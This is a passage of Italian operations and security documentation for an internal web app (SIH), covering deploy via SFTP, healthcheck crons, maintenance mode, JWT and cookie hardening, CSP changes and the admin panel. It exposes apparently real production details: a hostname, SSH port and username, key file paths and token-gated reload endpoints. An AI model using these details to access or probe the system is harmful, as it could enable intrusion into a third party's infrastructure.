   SCRAPECREATORS_API_KEY=...

6. Popolare la tabella secrets dal pannello admin una volta eseguito il primo avvio. Contiene le API key runtime: GOOGLE_API_KEY, LF_API_KEY, SE_RANKING_TOKEN (provider dismesso 2026-04-20, env var non piu' letta in prod), SCRAPECREATORS_API_KEY, ANTHROPIC_API_KEY, YOUTUBE_API_KEY, SENTRY_DSN. Valori vuoti sono tollerati: il feature corrispondente resta disabilitato.
7. Primo boot di uvicorn.

   curl -s "https://giuseppef73.sg-host.com/healthcheck.php?cb=$(date +%s)&token=$RELOAD_TOKEN"

   Nessuna credenziale HTTP: il sito non ha Basic Auth. Il token e' invece obbligatorio da v2.45.0 perche' questa chiamata deve poter respawnare il processo (in alternativa, via SSH: php healthcheck.php, esente in quanto CLI). Al primo hit, healthcheck.php non trova il processo, spawna uvicorn con le env var lette da sih.env, aspetta 3s e ritorna JSON {"status":"restarted"}. Se restituisce "failed", consultare /home/customer/uvicorn_prod.log.
8. Configurare il cron di resilienza. Da Site Tools → Cron Jobs:

   */5 * * * * curl -s "https://giuseppef73.sg-host.com/healthcheck.php?cb=$(date +\%s)&token=<RELOAD_TOKEN>" >/dev/null 2>&1

   Il query string variabile cb=<timestamp> e' obbligatorio: senza di esso la cache edge Nginx serve risposte stale e il respawn non avviene davvero. Il token e' obbligatorio da v2.45.0: senza, il cron ottiene solo il probe read-only e non innesca il respawn. In alternativa si puo' schedulare la variante CLI, esente da token:

   */5 * * * * cd /home/customer/www/giuseppef73.sg-host.com/public_html && php healthcheck.php >/dev/null 2>&1

9. Creare il primo admin.

   python3 manage.py create-agent --email ... --name ... --password ... --role admin

Deploy di aggiornamenti

Il flusso standard di deploy e' completamente automatizzato da deploy_fastapi.py, eseguito dallo workstation del manutentore:

1. Eseguire i test localmente.

   pytest -q

   La suite deve essere al 100% verde (baseline ~150 test).
2. (Opzionale) Abilitare maintenance mode per deploy rilevanti lato utente (vedi paragrafo dedicato).
3. Eseguire il deploy.

   export SIH_DEPLOY_KEY_PASS="<passphrase chiave SSH>"
   python deploy_fastapi.py

   Lo script:
   • Legge la chiave privata Ed25519 da credenziali/private.txt (o da $SIH_DEPLOY_KEY_FILE).
   • Apre una sessione SFTP verso ssh.giuseppef73.sg-host.com:18765 (user u131-mnkjaa4razst).
   • Carica ~50 file statici + le directory tests/ e routers/.
   • Invoca reload.php?token=<RELOAD_TOKEN>&_t=<timestamp> per applicare le modifiche.
4. Reload server. reload.php tenta prima un graceful self-shutdown via /api/internal/shutdown (il processo invia SIGTERM a se stesso, l'atexit rimuove il PID file). Fallback: SIGTERM via posix_kill letto dal PID file, con escalation a SIGKILL dopo 8s. Poi richiama healthcheck.php inline per il respawn.
5. Verifica post-deploy.

   curl -s https://giuseppef73.sg-host.com/api/status

   Ci si aspetta {"status":"ok", ...}. Controllare anche /home/customer/uvicorn_restarts.jsonl per l'ultimo entry con "status":"restarted".

Tempo totale: ~10-15 secondi dall'invocazione di deploy_fastapi.py al respawn completato.

Rollback

SIH non ha rollback automatico. In caso di deploy rotto:

1. Se il codice precedente e' ancora sulla workstation, ripristinare i file (via git checkout o backup) e rieseguire deploy_fastapi.py.
2. Se la versione vecchia non e' disponibile localmente, l'unica opzione e' il ripristino da snapshot Site Tools SiteGround (di norma settimanali).
3. Durante il recovery, abilitare sempre la maintenance page per non esporre l'utenza all'errore.

La prevenzione a lungo termine passa per git + tagging + CI (in roadmap), ma il flusso attuale e' basato sullo stato locale della workstation.

Maintenance mode

Tutti i deploy user-facing vanno preceduti dall'attivazione della pagina manutenzione. L'idea e' semplice: un file sentinella a livello filesystem ribalta il comportamento di .htaccess.

Attivazione:

python -c "import paramiko, os; \
k=paramiko.Ed25519Key.from_private_key_file('credenziali/private.txt', password=os.environ['SIH_DEPLOY_KEY_PASS']); \
t=paramiko.Transport(('ssh.giuseppef73.sg-host.com', 18765)); \
t.connect(username='u131-mnkjaa4razst', pkey=k); \
s=paramiko.SFTPClient.from_transport(t); \
s.put('maintenance_mode.flag', '/home/customer/www/giuseppef73.sg-host.com/public_html/maintenance_mode.flag')"

Quando il flag esiste, .htaccess redirige tutti gli utenti a /maintenance.html con un 302, tranne:

• la pagina /maintenance.html stessa e favicon
• /api/* (gli endpoint restano funzionanti per reload/healthcheck)
• /reload.php e /healthcheck.php (per permettere deploy/monitoring)
• le richieste con cookie sih_bypass, settato da /bypass.php per gli admin. Da v2.45.0 il cookie e' httponly + secure e contiene l'hash del token, non il token in chiaro (che era leggibile da document.cookie); .htaccess ne verifica solo la presenza

Rimuovere il flag via sftp.remove(...) disattiva la maintenance. Per un effetto immediato e simmetrico, .htaccess ha anche una regola reverse: quando il flag non esiste, l'accesso diretto a /maintenance.html redirige a /, impedendo a bot e utenti curiosi di vederla.

Sicurezza

Questa sezione documenta lo stato della sicurezza di SIH dopo gli Sprint 1, 2 e 3 di hardening (Sprint 1+2 chiusi il 2026-04-20, Sprint 3 chiuso il 2026-04-22 con la release v2.11.0). Le scelte fatte riflettono il contesto del progetto: applicazione interna, numero utenti limitato, JWT custom sopra l'HTTPS come unico gate (fino al 2026-07-26 questa sezione dava per esistente anche un Basic Auth SiteGround davanti al sito: non esiste, vedi il riquadro in Architettura). Le misure elencate sono quelle effettivamente applicate al codice; le voci ancora in roadmap sono segnalate esplicitamente.

Autenticazione e sessione

• JWT HS256 firmato con SIH_JWT_SECRET letto da env var (file /home/customer/sih.env, chmod 0600).
• TTL token 7 giorni. Dopo Sprint 3 (v2.11.0) il token viaggia di default in un cookie HttpOnly; i client legacy possono ancora usare l'header X-Auth-Token per un periodo di compatibilita' di 7 giorni. Vedi sotto la sotto-sezione Cookie HttpOnly.
• Token blacklist server-side. Ogni token emesso include un jti di 16 byte. Al logout (POST /api/auth/logout) il jti viene inserito in token_blacklist e il cookie viene cancellato (Set-Cookie sih_session=; Max-Age=0). La decodifica rigetta i token revocati. La tabella viene ripulita in background dalle entry scadute (~ogni 100 logout).
• Password hashing bcrypt con rounds 12, pre-hash SHA256 per password >72 byte (limite bcrypt).
• Invalidazione agente. Flaggare is_active=false dall'admin panel produce 401 al prossimo /api/auth/me. Per invalidare immediatamente tutte le sessioni di tutti gli agenti, ruotare SIH_JWT_SECRET (scelta radicale).

Cookie HttpOnly (sessione, Sprint 3 / v2.11.0)

Il token di sessione vive in un cookie con i flag HttpOnly, Secure, SameSite=lax, Max-Age=604800 (7 giorni), Path=/. Il frontend non legge piu' il token: e' il browser a iniettarlo automaticamente in ogni request same-origin. Questo chiude la finestra di esfiltrazione via XSS (un attaccante con XSS attivo non puo' piu' fare document.cookie per rubarlo).

• Login: POST /api/auth/login setta Set-Cookie: sih_session=<JWT>; HttpOnly; Secure; SameSite=lax; Max-Age=604800; Path=/. La response JSON contiene ancora token per backward compat dei client che lo conservavano in localStorage.
• Logout: POST /api/auth/logout aggiunge il jti a token_blacklist e cancella il cookie con Set-Cookie: sih_session=; Max-Age=0.
• Lettura token lato server: l'helper interno _extract_token(request) prova nell'ordine: cookie sih_session, header X-Auth-Token, header Authorization: Bearer. La compatibilita' header e' garantita per 7 giorni dal deploy v2.11.0 (finestra di rotazione naturale). Dopo, l'header puo' essere rimosso senza preavviso.
• Frontend: lo script auth-guard.js non legge piu' localStorage.getItem('sih_token') per le chiamate; spedisce semplicemente fetch(..., {credentials: 'same-origin'}) e il browser allega il cookie. Il vecchio token in localStorage viene ripulito al primo passaggio.
• SameSite=lax (non strict) e' una scelta voluta: il cookie viene allegato anche su navigazione top-level cross-origin (es. apertura del link reset password ricevuto da WhatsApp), ma non su sub-request cross-origin (immagini, iframe, fetch da altri domini). Adeguato per il modello di rischio dell'app.

JWT minimal claims (Sprint 3)

Il payload JWT contiene solo i campi strettamente necessari per l'autenticazione e l'autorizzazione:

{
  "sub": <agent_id>,        // identifica l'agente
  "role": "agent" | "admin",  // gate per /api/admin/*
  "iat": <timestamp>,       // emesso a
  "exp": <timestamp>,       // scade a
  "jti": "<hex16>"          // ID unico, usato per blacklist
}

Email, nome e altri attributi del profilo non sono piu' inclusi nel token. Il frontend li carica on-demand con GET /api/auth/me, che legge sempre dal DB e quindi riflette in tempo reale i cambi del profilo (nome, email, ruolo). Beneficio: token piu' corti (cookie sotto i 4 KB anche con header pesanti), niente PII in chiaro nel payload base64 leggibile da chi ottiene il token.

Content-Security-Policy strict (script-src 'self', Sprint 3)

La CSP applicata da SecurityHeadersMiddleware ora contiene script-src 'self' per il dominio principale, senza 'unsafe-inline'. Tutti gli ex blocchi <script>...</script> inline degli HTML sono stati estratti in 19 file page-<basename>.js (uno per pagina, vedi sezione Architettura > Frontend). Gli inline event handler (onclick="...") sono stati convertiti in addEventListener dentro i page-script.

• Nessuno script esterno allowlistato (da v2.45.0): la directive e' script-src 'self' secco. Fino alla v2.44.1 allowlistava browser.sentry-cdn.com, cdn.jsdelivr.net e unpkg.com; jsDelivr e unpkg sono origin su cui chiunque puo' pubblicare un pacchetto npm, quindi qualunque injection capace di emettere un <script src> aggirava la CSP al 100% — e gli SRI non aiutavano, perche' e' l'attaccante a scrivere il tag e gli basta omettere integrity. Chart.js, Leaflet e il bundle Sentry sono ora self-hosted in /vendor/, verificati byte per byte contro gli hash SRI gia' dichiarati negli HTML.
• Google Fonts resta l'unica origin remota, e solo su style-src (fonts.googleapis.com) e font-src (fonts.gstatic.com): un foglio di stile o un font non possono eseguire codice, quindi non riaprono il buco che aveva script-src.
• style-src mantiene 'unsafe-inline': gli HTML hanno ancora <style> inline (design system inlinato per evitare FOUC). L'estrazione e' un cleanup separato pianificato in uno sprint successivo. Dato il modello di rischio (auth applicativa — e nessun Basic Auth, contrariamente a quanto affermava questa pagina fino al 2026-07-26 — niente upload utente che finisca in pagine pubbliche), il rischio CSS injection e' marginale.
• SRI: gli integrity="sha384-..." restano sui tag <script> anche ora che i file sono locali. Non difendono piu' da un CDN compromesso (non c'e' piu' CDN) ma rilevano una sostituzione dei file in /vendor/.

Secret rotation playbook

La rotazione delle credenziali sensibili e' descritta passo-passo in RUNBOOK.md, sezione Sicurezza: rotazione credenziali. Sono coperti:

• SIH_JWT_SECRET (invalida tutte le sessioni — fuori orario).
• Reload token e bypass token (file separati in /home/customer/sih_*_token.txt).
• Chiave SSH di deploy (Ed25519 + passphrase).
• Credenziali DB MySQL SiteGround (Site Tools > MySQL).
• API key esterne (Google, Local Falcon, ScrapeCreators, Anthropic, YouTube, Sentry DSN).
• Password agente (admin reset link via /api/admin/agents/{id}/reset-link).

Cadenza consigliata: rotazione annuale di routine per tutto, rotazione immediata su sospetto breach o offboarding di un IT con accesso alle chiavi.

Log retention 180 giorni (Sprint 3)

La tabella activity_log cresce di alcune migliaia di righe a settimana. Per evitare gonfiore disco / lentezza query, il comando python manage.py prune-activity-log --days 180 cancella tutte le entry piu' vecchie di 180 giorni. E' invocato da un cron settimanale SiteGround (0 3 * * 0, vedi sezione Manutenzione operativa). La soglia 180gg e' un compromesso tra storico utile per analisi trend e GDPR data minimization. La tabella token_blacklist ha la sua pulizia separata in-process al logout.

Responsible disclosure (security.txt)

A partire dal 2026-04-22 il sito espone un file /.well-known/security.txt conforme a RFC 9116 con un Contact: mailto e una Expires: annuale. Serve a permettere a ricercatori esterni che dovessero trovare vulnerabilita' di segnalarle attraverso un canale dichiarato, evitando segnalazioni perse in caselle generiche. Il file e' anche raggiungibile da /security.txt via redirect.

Rate limit

• Login throttling. /api/auth/login limita 5 tentativi falliti per (IP + email) in una finestra di 5 minuti. Superata la soglia, l'endpoint risponde 429 con Retry-After. Il contatore si azzera a login riuscito. L'evento login_rate_limited viene registrato in activity_log.
• AI personas. /api/ai/interpret ha un cap di 20 chiamate/ora/agente per limitare costi accidentali, oltre alla cache permanente su (prospect_id, persona, sha256(input)).

CORS

• Whitelist esplicita: il vecchio allow_origins=["*"] e' stato sostituito dalla lista _CORS_ALLOWED_ORIGINS che include https://giuseppef73.sg-host.com e i soli localhost utili per lo sviluppo.
• allow_credentials=False perche' il JWT viaggia in un header custom, non come cookie cross-origin.
• Override opzionale via env SIH_ALLOWED_ORIGINS (CSV) per deploy su domini alternativi.

CSRF (defense-in-depth)

Il middleware _origin_check_on_mutations rigetta con 403 le richieste POST/PUT/PATCH/DELETE il cui header Origin sia presente ma non compreso nella whitelist CORS. Richieste server-to-server senza Origin passano liberamente (il JWT resta la protezione primaria). Questo controllo e' ridondante con CORS ma aggiunge una seconda linea di difesa esplicita contro i CSRF.

Security headers

Un middleware applica a ogni response i seguenti header:

Gestione secret

Dal 2026-04-20 le API key sensibili non vivono piu' in file su disco ne' sono hardcoded nel sorgente. Sono gestite dalla tabella secrets, editata dal pannello admin:

• Registry centralizzato SECRET_REGISTRY (in core.py) con 7 chiavi: GOOGLE_API_KEY, LF_API_KEY, SE_RANKING_TOKEN (provider dismesso 2026-04-20), SCRAPECREATORS_API_KEY, ANTHROPIC_API_KEY, YOUTUBE_API_KEY, SENTRY_DSN.
• Ordine di risoluzione: tabella secrets → env var (alias in env_aliases) → stringa vuota (feature disabilitata).
• Cache 60s in-memory (_SECRET_CACHE) con callback di invalidazione: quando l'admin aggiorna una secret, il client Anthropic viene ricreato automaticamente senza restart.
• Nessuna secret scritta su disco. Il vecchio file /home/customer/anthropic_api_key.txt e' stato deprecato.

Password reset

Non c'e' ancora un SMTP integrato. Il flusso attuale, pensato per piccoli team, e':

1. Admin clicca Reset pw nella tabella agenti → POST /api/admin/agents/{id}/reset-link.
2. Il backend genera un JWT con purpose=password-reset e TTL 30 minuti, ritorna {agent, link, ttl_minutes}.
3. L'admin copia il link e lo consegna fuori banda all'agente (WhatsApp, Telegram, email personale).
4. L'agente apre il link (reset-password.html#token=...), imposta la nuova password, POST /api/auth/password-reset consuma il token one-shot aggiungendolo alla blacklist.

L'integrazione SMTP per invio automatico e' in roadmap.

Maintenance flag e robustezza del redirect

Oltre all'attivazione documentata nella sezione Installazione e deploy, il comportamento del maintenance mode include una regola reverse importante: quando il flag non esiste, l'accesso diretto a /maintenance.html redirige a /. Questo impedisce che bot e utenti curiosi scoprano l'indirizzo e lo indicizzino quando il sito e' operativo.

Hardening contenuto

• Meta robots: noindex su tutte le pagine. Attenzione: e' l'unica cosa che tiene il sito fuori dagli indici, non una difesa in profondita' sopra un Basic Auth — quel layer non esiste (vedi Architettura), quindi le pagine sono raggiungibili da chiunque ne conosca l'URL.
• Proxy no-store: proxy.php impone Cache-Control: no-store, no-cache, must-revalidate e X-Accel-Expires: 0 a ogni risposta /api/*, per evitare che la cache Nginx edge memorizzi JSON contenenti dati personali.
• Token di reload/bypass confrontati con hash_equals() per evitare timing attack.
• File chiavi SSH gitignorato (credenziali/private.txt, chiave Ed25519 encrypted). Passphrase letta da $SIH_DEPLOY_KEY_PASS.

Procedure di incident response

Le risposte dettagliate ai principali incidenti di sicurezza (compromissione API key, file credenziali/ leakato, brute force login, sessioni da revocare) sono documentate in RUNBOOK.md, sezioni Sicurezza: incidenti e Emergenze comuni. Il team IT e' tenuto a conoscerle prima di entrare in rotazione di on-call.

Limitazioni note e roadmap

• CSP script-src ora e' strict (Sprint 3). Resta style-src 'unsafe-inline' in attesa di estrarre i blocchi <style> dagli HTML.
• Nessun SMTP integrato per password reset o notifiche.
• Sentry DSN non supporta hot-reload (limite SDK).
• Nessun backup DB automatizzato: dipende dagli snapshot weekly di SiteGround + export manuale Site Tools.
• Audit penetrazione formale di parte terza (esterno) non ancora eseguito; l'audit interno 23/23 chiuso non sostituisce un pentest.

Security Watch — vigilanza interna automatica (v2.34.0)

Dal 2026-06-14 SIH ha un sistema interno di vigilanza automatica che trasforma gli SLA della Policy di manutenzione e patching v1.0 (chiusura del finding MAINT-001 dell'audit esterno Venturini PSI_SEC_SW_SIH_Custom_ALL-C v1.2) in controlli automatici cadenzati. Il sistema e' nato a complemento del documento di policy consegnato all'IT nello stesso giorno.

Architettura

• Pianificatore: 4 workflow GitHub Actions in .github/workflows/security-watch-*.yml.
• Trasporto: SSH con la stessa chiave Ed25519 del deploy (secret SIH_SSH_PRIVATE_KEY). Nessun servizio terzo aggiuntivo.
• Esecuzione: python3 manage.py security-watch <kind> sul server produzione.
• Persistenza: tabella MySQL security_watch_runs (8 colonne: id, kind, status, summary, payload_json, created_at, ack_at, ack_by_agent_id). Nessuna scadenza esplicita - i record sono prova documentale.
• Endpoint: GET /api/admin/security-watch/latest (card riepilogo), /runs?kind=&limit= (storico), POST /ack/{id} (admin marca come visto). Tutti protetti da Depends(require_admin).
• UI: tab Sicurezza in admin.html gestita da page-admin-security-watch.js; 4 card colorate verde/ambra/rosso/grigio, click per espandere il dettaglio.

I 4 task attivi

Primo seeding (2026-06-14) - 5 non conformita' chiuse stesso giorno

Il primo monthly_audit ha identificato 5 non conformita' reali, tutte chiuse entro fine giornata:

• 4 security header non raggiungevano il browser - proxy.php non li forwardava dalla risposta FastAPI e gli HTML statici non passavano dal middleware. Risolto aggiungendo Header always set in .htaccess (CSP / X-Frame-Options DENY / HSTS / X-Content-Type-Options nosniff + Referrer-Policy + Permissions-Policy). Copre static HTML + /api/*.
• 1 placeholder residuo nel valore di SIH_JWT_SECRET (prefisso change-me-in-prod-). Risolto rigenerando un secret 64-hex random con secrets.token_hex(32) e aggiornando /home/customer/sih.env. Backup precedente su sih.env.bak-2026-06-14. Effetto collaterale: tutti i JWT precedenti invalidati - utenti loggati al momento della rotazione hanno dovuto rifare il login.

Re-run successivo del mini-audit: 8/8 check OK. Lo strumento ha dimostrato utilita' immediata: questi rilievi sarebbero altrimenti emersi solo al successivo audit esterno.

Limiti dichiarati

• Non e' un IDS / IPS: nessuna analisi in tempo reale, nessun blocco attivo. Rilevazione differita di scostamenti dalla configurazione attesa.
• Output solo on-dashboard: in assenza di SMTP integrato le notifiche non vanno via e-mail. La consultazione e' demandata all'admin in modo proattivo.
• Dipendenza dall'upstream: una CVE e' rilevabile solo dopo la pubblicazione dell'advisory (GitHub Advisory Database, PyPI). Zero-day non pubbliche non sono rilevabili.
• Non sostituisce l'audit esterno annuale: e' un complemento operativo che lo rende piu' rapido e tracciabile.

Pannello Admin

Il pannello admin e' un'unica pagina (admin.html) accessibile esclusivamente agli agenti con role = admin. Dopo il login con le stesse credenziali usate dagli altri utenti, il frontend controlla il ruolo via GET /api/auth/me e abilita la UI; se il ruolo non e' admin viene mostrato un messaggio di accesso negato. La protezione effettiva e' lato server: ogni endpoint sotto /api/admin/* ha Depends(require_admin) che restituisce 403 in caso contrario.

La pagina e' organizzata in dieci tab. Di seguito una panoramica operativa.

Tab Panoramica

Prima schermata dopo l'accesso. In alto compare un banner viola AI & Costi (costo USD totale, chiamate, agenti attivi, pulsante "Dettagli" che porta alla tab dedicata), sotto le card di riepilogo numerico. La fonte dati e' l'endpoint GET /api/admin/stats/overview?period_days=30.

KPI esposti

Campo api_usage

Il campo api_usage della response espone per ogni provider esterno due numeri distinti che e' importante non confondere:

• calls — derivato da ActivityLog (azioni UI, storico persistente). Sottostima il consumo reale: una singola azione "scan visibilita' locale" ad esempio logga una riga ma scatena internamente save + run + 5-20 polling + report + competitor.
• calls_live — contatori in-memory (EXT_API_COUNTS in core.py) incrementati da track_ext_api() dentro ciascun call helper (lf_post, seranking_call (dormiente), _sc_get, fetch Google Places). Riflettono le chiamate HTTP effettive verso il provider. Si resettano ad ogni restart di uvicorn: sono un indicatore a breve termine, non uno storico.

La tab Panoramica include anche un pulsante "Reset statistiche demo": cancella l'intera tabella activity_log (con doppia conferma). Utile dopo le demo commerciali per ripulire i contatori. Non tocca prospects, analyses, proposals.

Tab Agenti

Lista completa degli utenti con colonne: email, nome, ruolo, stato (attivo/disattivato), numero ricerche, numero scan LF, proposte, chiusi_won, tasso conversione. Azioni disponibili: + Nuovo agente, Modifica (ruolo, attivo, nome), Reset password, Elimina (solo se non ha prospect associati).

Regole di protezione integrate

• Last admin protection — non si puo' demote o eliminare l'ultimo utente con role = admin. Il backend ritorna 400 con messaggio esplicativo.
• Delete blocked con prospect — se l'agente ha prospect in pipeline, la delete fallisce. Usare "disattivato" invece.
• Login bloccato se disattivato — l'endpoint /api/auth/login ritorna 403 e registra login_blocked_inactive in ActivityLog.
• Email immutabile — per preservare integrita' referenziale con activity_log e prospects.

Reset password

Il bottone "Reset pw" chiama POST /api/admin/agents/{id}/reset-link. Il backend genera un token JWT con purpose = password-reset e TTL 30 minuti, restituisce {agent, link, ttl_minutes}. Il link punta a /reset-password.html#token=<JWT>; la pagina legge il token dalla URL fragment, chiede la nuova password e chiama l'endpoint pubblico POST /api/auth/password-reset, che consuma il token (one-shot via blacklist JWT) e imposta la nuova password bcrypt-hashed. Oggi il link viene mostrato via prompt() per copia manuale; l'invio SMTP automatico e' in roadmap.

Tab Attivita (Activity Log)

Feed append-only di tutte le azioni, alimentato dalla tabella activity_log. Filtri: agente, tipo azione, range date (Dal/Al). Paginazione a 100 eventi per pagina.

Azioni tracciate

Ogni riga ha: agent_id (FK), action, resource (es. place_id del prospect), meta_json (payload contestuale), ip, created_at. La UI etichetta le azioni in italiano via ACTION_LABELS (es. ai_interpret diventa "Interpretazione AI").

Tab Ticket / Feedback

Triage dei ticket inviati dagli agenti tramite widget a forma di bolla (sih-feedback.js). L'admin vede tutti i ticket, con filtri per status (open, triaged, in_progress, resolved, closed) e per severity. Ogni ticket espone: testo dell'utente, screenshot (base64, max 4.5 MB), URL della pagina, user agent, agente che lo ha aperto.

Regole operative

• Ticket admin = fix immediato. Se il ticket e' stato aperto da un altro admin (tipicamente Giuseppe che rappresenta l'owner prodotto), il team procede direttamente alla correzione.
• Ticket agente = sintesi + approvazione. Per ticket non-admin il team deve produrre una sintesi con 4 punti fissi (cosa dice l'utente, cosa chiede, parere del maintainer, classe: bug/feature/UX/doc) e attendere l'OK dell'owner prodotto prima di agire. Eccezione: se il ticket e' esplicitamente duplicato di uno gia' chiuso, si chiude subito.
• Scope fix = solo il baco. Se il ticket e' un bug, si corregge solo quel bug. Feature e refactor aggiuntivi richiedono un ticket dedicato.
• Risposta user-friendly. Il campo admin_notes (che l'utente vede come risposta) va scritto in linguaggio colloquiale. Evitare nomi di funzione, path, stack trace.
• Chiusura con force_notify. Quando si chiude via API un ticket il cui submitter coincide con il resolver (caso tipico: ticket dell'owner chiuso dall'owner), passare force_notify: true nel body della PATCH /api/feedback/{id}, altrimenti l'auto-notify skippa.

Il badge accanto al titolo "Ticket" nel menu admin conta i ticket in stato open o triaged.

Tab AI & Costi

Dashboard dedicata al monitoraggio dei consulenti AI. Fonte dati: GET /api/admin/ai-usage?window=7d|30d|90d|all. L'endpoint NON legge dalla cache ai_interpretations (che e' cancellabile) ma dalla tabella append-only activity_log filtrando le action ai_interpret (chiamata fresh) e ai_interpret_cache_hit (risposta servita da cache).

Contenuto della tab

• Top card: costo totale USD, chiamate fresh, cache hit rate, agenti attivi, modello in uso.
• Alert overuse: banner rosso se uno o piu' agenti superano la soglia (>= 10 chiamate AI nella finestra e rapporto won_per_call < 0.1).
• Sparkline giornaliera: SVG inline con chiamate/giorno (max 60 punti).
• Tabella per agente: calls fresh, cache hits, prospect unici, token in/out, cost USD, won total, won_per_call color-coded (verde >= 20%, giallo >= 10%, rosso < 10%).
• Selettore finestra: 7/30/90 giorni oppure all-time.
• Pulsante "Invalida cache" — DELETE /api/admin/ai-cache svuota ai_interpretations. Lo storico resta intatto.

Tariffazione

Le tariffe sono hardcoded in server_fastapi.py: AI_PRICE_INPUT_PER_MTOK e AI_PRICE_OUTPUT_PER_MTOK. Vanno aggiornati quando il listino del modello cambia. Il costo per chiamata e' calcolato come (tokens_in/1e6 * price_in) + (tokens_out/1e6 * price_out).

Alert ai_overuse

Regola in activity.py:detect_alerts: se nell'ultima finestra (tipicamente 30 giorni) un agente ha almeno 10 chiamate AI e un rapporto won/calls < 0.1, viene emesso un alert severity = medium, code = ai_overuse. L'alert appare anche nella tab Alert ed e' "dismissable" per 30 giorni via firma (signature). L'obiettivo e' individuare abusi del tool (chiamate massive senza outcome commerciale).

Tab Metriche & Resilienza

Tab che combina metriche runtime dell'app e timeline dei restart del processo uvicorn. Backend: GET /api/admin/metrics + GET /api/admin/restart-log?limit=50.

Metriche runtime

• Uptime del processo corrente (dal boot uvicorn).
• Per endpoint: count, avg_ms, p95_ms, error_rate.
• Reset ad ogni restart — sono in-memory, non persistono.

Timeline restart (ultimi 14 giorni)

Fonte: file strutturato /home/customer/uvicorn_restarts.jsonl (una riga JSON per respawn) scritto da healthcheck.php. L'endpoint aggrega:

• Grafico giornaliero: numero di restart per giorno, ultimi 14 giorni.
• Tabella ultimi 20 restart con colonne:
  • ts — timestamp ISO 8601 UTC.
  • trigger — cron_or_probe (?cb=), user_visit (user agent nel request), direct.
  • prev_http — HTTP code ricevuto prima del respawn (es. 0 = connection refused, 502, ecc).
  • old_pid / new_pid.
  • status — restarted o failed.

Un tasso alto di restart (>5/giorno) e' sintomo di OOM o container kill lato SiteGround, da investigare via uvicorn_prod.log.

Tab Alert (evidence-based)

Sistema di alert che usa solo pattern misurabili su dati reali, mai soglie arbitrarie. Ogni alert ha severity, signature (per il dismiss), testo esplicativo, "evidence" inline che cita il dato grezzo (es. "22 scan in 7 giorni, 0 chiusi_won").

Regole attive

Dismiss alert: POST /api/admin/alerts/dismiss con signature. Il dismiss dura 30 giorni, poi la regola rivaluta. La tabella alerts_dismissed traccia l'operazione.

Tab API Keys (Secrets)

Gestione delle chiavi API upstream via tabella secrets (campi: name, value, updated_at, updated_by_agent_id). Endpoint: GET /api/admin/secrets (ritorna preview mascherato), PATCH /api/admin/secrets/{name}, DELETE /api/admin/secrets/{name}.

Chiavi gestite: GOOGLE_PLACES_API_KEY, LOCAL_FALCON_API_KEY, SERANKING_API_KEY (provider dismesso 2026-04-20, non piu' letta in prod), SCRAPECREATORS_API_KEY, ANTHROPIC_API_KEY, SENTRY_DSN. Il backend legge il secret con cache 60 secondi; una modifica entra in vigore entro un minuto. Eccezione: SENTRY_DSN richiede restart uvicorn (limite SDK).

Tab Storico

Vista admin-only di tutti i prospect del sistema (non solo i propri). Endpoint GET /api/admin/prospects?agent_id=&status=&q=&limit=&offset=. Filtri: dropdown agente, dropdown status, text search (su business name), paginazione. Utile per supporto ("cerca il prospect X che l'agente Y diceva di aver visto ieri") e per audit commerciale.

Progresso a 7 tacche + "Apri come admin" (v2.21.0)

Ogni riga della tabella ha ora una progress bar a 7 cerchi (verde = step completato, grigio = no) che mappa il workflow:

1. Ricerca prospect (record esiste)
2. Visibilita' locale (analyses.local_score o scan_data popolati)
3. Web & SEO (analyses.seo_score o seo_data)
4. Social (almeno una riga social_snapshots)
5. Diagnosi scorecard (analyses.gbp_score / rep_score / web_score)
6. Proposta commerciale (almeno una riga proposals, qualsiasi status)
7. Racconto (almeno una riga racconto_history)

Calcolato server-side con un singolo sweep aggregato per ognuna delle 4 tabelle (zero N+1 sul loop dei prospect). Restituito nel payload come steps_completed: bool[7] + steps_done_count + steps_total: 7.

A fianco della progress bar c'e' il bottone Apri come admin che apre il prospect di un altro agente in sola lettura. Funziona cosi':

• Il link genera /02-visibilita-locale.html?placeId=...&prospectId=N&adminView=1.
• L'utility sih-admin-view.js intercetta il flag adminView=1 e mostra una barra viola sticky in cima alla pagina con il nome dell'agente proprietario + il nome del prospect.
• La utility intercetta window.fetch() e blocca qualunque richiesta POST/PATCH/DELETE verso /api/* (whitelist: /api/internal, /api/frontend-settings, /api/auth/me, /api/auth/logout): l'admin non puo' salvare scorecard, lanciare scan LF, generare racconti, inviare proposte o modificare tag sul prospect altrui anche se il bottone della UI venisse forzato.
• I CSS aggiungono opacity:.35 e pointer-events:none ai bottoni con data-action riconducibile a save/scan/send/generate/delete: l'admin vede subito cosa e' read-only.
• La flowbar propaga automaticamente ?prospectId=N&adminView=1 ai link prev/next: l'admin puo' navigare tra gli step (02 -> 06) senza perdere il contesto.
• Il backend rispetta la stessa policy: GET /api/prospects/{pid}, GET /api/analyses?prospect_id=N e GET /api/prospects/{pid}/tags bypassano l'ownership check se il caller ha role=admin. Le POST/PATCH/DELETE restano scoped per ownership: anche un admin che by-passa il fetch wrap (es. con curl) non puo' modificare il prospect di un altro.
• Se lo step 7 (Racconto) e' completato compare un secondo bottone viola "Racconto" che porta direttamente a /racconto.html?prospect_id=N&adminView=1 (caricamento cache via GET /api/racconto/last, gia' admin-bypassed dal v2.17.3).

File coinvolti: routers/admin.py::admin_list_prospects, routers/prospects.py::prospect_get/analysis_list/prospect_list_tags, sih-admin-view.js, sih-flowbar.js::_adminViewSuffix, page-admin.js::renderHistory, e bootstrap admin-view in page-02-visibilita-locale.js + page-03/04/05/06.js + page-racconto.js.

Tab Analytics

Grafici aggregati di lungo periodo: ticket per mese, top azioni, attivita' per agente. Consuma gli stessi endpoint di Panoramica con finestra estesa.

Gestione utenti, ruoli e autenticazione

L'autenticazione e' l'unico perimetro che separa un admin da un agente e dagli utenti anonimi. E' basata su JWT con secret condiviso server-side e una serie di protezioni complementari (rate limit, header di sicurezza, CORS, blacklist token).

JWT HS256 con header X-Auth-Token

Il token e' firmato HMAC-SHA256 usando il secret SIH_JWT_SECRET (caricato dalla tabella secrets o da env). Payload: sub (agent id), role (agent o admin), jti (token id urlsafe 16 byte, usato per revoca), iat, exp.

Perche' X-Auth-Token e non Authorization: Bearer: la scelta risale a quando si riteneva che Nginx di SiteGround applicasse un HTTP Basic Auth a livello server, che avrebbe generato collisioni sull'header Authorization. Quel Basic Auth non esiste (verificato 2026-07-26, vedi Architettura): la premessa era sbagliata, ma l'header custom resta per compatibilita' e non ha controindicazioni di sicurezza. Il frontend (auth-guard.js) intercetta fetch('/api/*') e aggiunge automaticamente l'header; il backend (auth.py) lo legge in get_current_agent().

Durata, rinnovo, scadenza

• TTL standard: 7 giorni. Impostato in auth.create_token.
